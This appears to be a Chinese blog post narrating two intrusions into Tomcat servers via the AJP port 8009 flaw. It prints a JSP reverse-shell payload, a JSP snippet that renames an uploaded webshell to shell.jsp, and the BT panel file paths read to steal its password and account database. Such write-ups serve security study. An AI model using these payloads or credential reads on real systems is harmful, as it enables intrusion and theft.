vlambda博客
学习文章列表

两次不同的tomcat ajp漏洞 getshell实战

0x00 AJP文件包含到getshell

信息收集:
  在20年的一次项目中,信息搜集到了一个官方网站,通过nmap发现其开放了8009端口。


两次不同的tomcat ajp漏洞 getshell实战

  然后首先想到的肯定是寻找文件上传点,通过ajp文件包含getshell。

两次不同的tomcat ajp漏洞 getshell实战


  在确认了上传点可用后,开始了几次尝试,而当时这个漏洞刚刚爆出没多久,大量文章的getshell思路都是通过msf上线,因此进行了一些其他的尝试:

两次不同的tomcat ajp漏洞 getshell实战

1.通过java的Runtime.getRuntime().exec()进行命令执行。上传脚本如下:
这里的脚本引用自https://www.cnblogs.com/liujizhou/p/13167268.html

<%java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,反弹shell的base64代码}|{base64,-d}|{bash,-i}").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");%>


然而在先期的测试中,由于不断的进行大量的Runtime.getRuntime().exec()的调用,执行出现了阻塞,在执行了几次ping命令无果后,只能再寻找其他方式getshell。


2.通过java的io文件操作修改文件后缀。最终我选择了这种方法成功getshell:首先通过ueditor上传一个内容是冰蝎马的txt文件。

两次不同的tomcat ajp漏洞 getshell实战


然后通过文件包含执行java语句修改文件后缀,代码如下:

<%String Save_Location = getServletContext().getRealPath("/");java.io.File myFile = new java.io.File(Save_Location+"通过ueditor上传的文件路径");java.io.File shellFile = new java.io.File(Save_Location+"//shell.jsp");myFile.renameTo(shellFile);%>

通过以上的代码,成功上传了一个shell.jsp文件到本次目标的网站根目录下。

最终比较简单的拿下了目标站点,当然主要是运气好遇到了ueditor的未授权文件上传,而第二次再遇到这个ajp漏洞的时候,就没有这么顺利了。


0x01 AJP文件读取配合简陋的代码审计

就在隔日,我又在目标中扫到一个开放了8009端口且测试存在ajp文件读取漏洞的目标。

两次不同的tomcat ajp漏洞 getshell实战

而这次遇到的是一个后台管理系统,在对登录口的大量测试与爆破之后,都没有什么收获,没能登录进后台进行文件上传,于是只能打起了这个ajp漏洞的主意。


首先在web.xml里面寻找入手点,在翻了一段时间后,发现了一个命名为FileUploadServlet的servlet。

两次不同的tomcat ajp漏洞 getshell实战

那么接下来自然就是要去获取这个servlet的源码,tomcat的class文件位置为tomcat路径/webapps/WEB-INF/classes/com/platform/fileManipulation/FileUploadServlet.class

两次不同的tomcat ajp漏洞 getshell实战


通过jadx获取到源码后发现,确实在文件中指明了上传接口的参数mode、path、type、refresh、successMessage,但是经过了一系列的fuzz后,没有成功构造出文件上传的请求包。到这里已经折腾了一上午了,无奈之下再去其他文件中寻找突破口,可惜都没有成功。

两次不同的tomcat ajp漏洞 getshell实战

当时思路已经乱了,只能想到要么从web.xml入手读取更多的class文件寻找突破口,要么就从已有的class文件的import中继续拓展源码。最后还是选择了再从web.xml中理一遍接口,事情终于出现了转机。

两次不同的tomcat ajp漏洞 getshell实战

在读取到了这个LogAdminController的代码后,从doPost方法跟进到了moduleDispatch

两次不同的tomcat ajp漏洞 getshell实战

moduleDispatch方法中包含了调用其他接口的方法,通过cmd参数决定 具体调用哪个接口,而这里FileMainConstant中对参数的声明给了我启发。

两次不同的tomcat ajp漏洞 getshell实战

似乎mode参数就是local、db、server、efile中的一个?两次不同的tomcat ajp漏洞 getshell实战

跟到这里的时候,我就基本肯定了我的答案,并且获得了两个漏洞,任意文件上传和全局的任意文件读取

两次不同的tomcat ajp漏洞 getshell实战

可是无奈的事又发生了,这里的path参数需要填入绝对路径,而我翻遍了各个配置文件都没有找到网站的绝对路径

两次不同的tomcat ajp漏洞 getshell实战

正当发愁的时候,观察到了8888端口的宝塔面板,或许可以借助宝塔的web目录进行文件上传。两次不同的tomcat ajp漏洞 getshell实战

在一阵的读文件确认了宝塔的web目录之后,成功上传了webshell,结果又被宝塔的disable_function挡住了去路,也无法读取目录以外的文件及目录,无奈之前再想办法解决宝塔。

两次不同的tomcat ajp漏洞 getshell实战

配合着之前拿到的任意文件读取,开始用最粗暴的方式解决他。

读取默认密码C:/BtSoft/panel/data/default.pl

两次不同的tomcat ajp漏洞 getshell实战

读取授权域名访问C:/BtSoft\panel\data\domain.conf

两次不同的tomcat ajp漏洞 getshell实战

找后台入口文件C:/BtSoft\panel\data\admin_path.pl

最后一步找他的账户,这里就要下载他的db文件。因为账户在db文件里面C:\BtSoft\panel\data\default.db

最后登录进宝塔面板关闭disable_function,成功getshell。